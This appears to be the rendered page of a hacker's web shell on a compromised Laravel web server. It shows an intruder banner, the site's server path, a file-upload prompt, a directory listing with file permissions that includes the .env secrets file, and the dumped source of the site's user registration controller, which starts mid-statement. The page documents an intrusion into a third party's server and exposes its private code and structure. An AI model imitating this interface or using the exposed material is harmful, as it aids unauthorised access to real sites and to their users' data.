I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
basic_settings = BasicSettingsProvider::get(); } /** * Show the application registration form. * * @return \Illuminate\View\View */ public function showRegistrationForm() { if($agree_policy = $this->basic_settings->user_registration == 0){ abort(404); } $client_ip = request()->ip() ?? false; $user_country = geoip()->getLocation($client_ip)['country'] ?? ""; $page_title = "User Registration"; return view('user.auth.register',compact( 'page_title', 'user_country', )); } /** * Handle a registration request for the application. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\RedirectResponse|\Illuminate\Http\JsonResponse */ public function register(Request $request) { $validated = $this->validator($request->all())->validate(); $basic_settings = $this->basic_settings; $validated = Arr::except($validated,['agree']); $validated['email_verified'] = ($basic_settings->email_verification == true) ? false : true; $validated['password'] = Hash::make($validated['password']); $validated['username'] = make_username($validated['firstname'],$validated['lastname']); event(new Registered($user = $this->create($validated))); $this->guard()->login($user); return $this->registered($request, $user); } /** * Get a validator for an incoming registration request. * * @param array $data * @return \Illuminate\Contracts\Validation\Validator */ public function validator(array $data) { $basic_settings = $this->basic_settings; $passowrd_rule = "required|string|min:6"; if($basic_settings->secure_password) { $passowrd_rule = ["required",Password::min(8)->letters()->mixedCase()->numbers()->symbols()->uncompromised()]; } $agree_policy = $this->basic_settings->agree_policy == 1 ? 'required|in:on' : 'nullable'; return Validator::make($data,[ 'firstname' => 'required|string|max:60', 'lastname' => 'required|string|max:60', 'email' => 'required|string|email|max:150|unique:users,email', 'password' => $passowrd_rule, 'agree' => $agree_policy, ]); } /** * Create a new user instance after a valid registration. * * @param array $data * @return \App\Models\User */ protected function create(array $data) { return User::create($data); } /** * The user has been registered. * * @param \Illuminate\Http\Request $request * @param mixed $user * @return mixed */ protected function registered(Request $request, $user) { $this->createUserWallets($user); return redirect()->intended(route('user.dashboard')); } }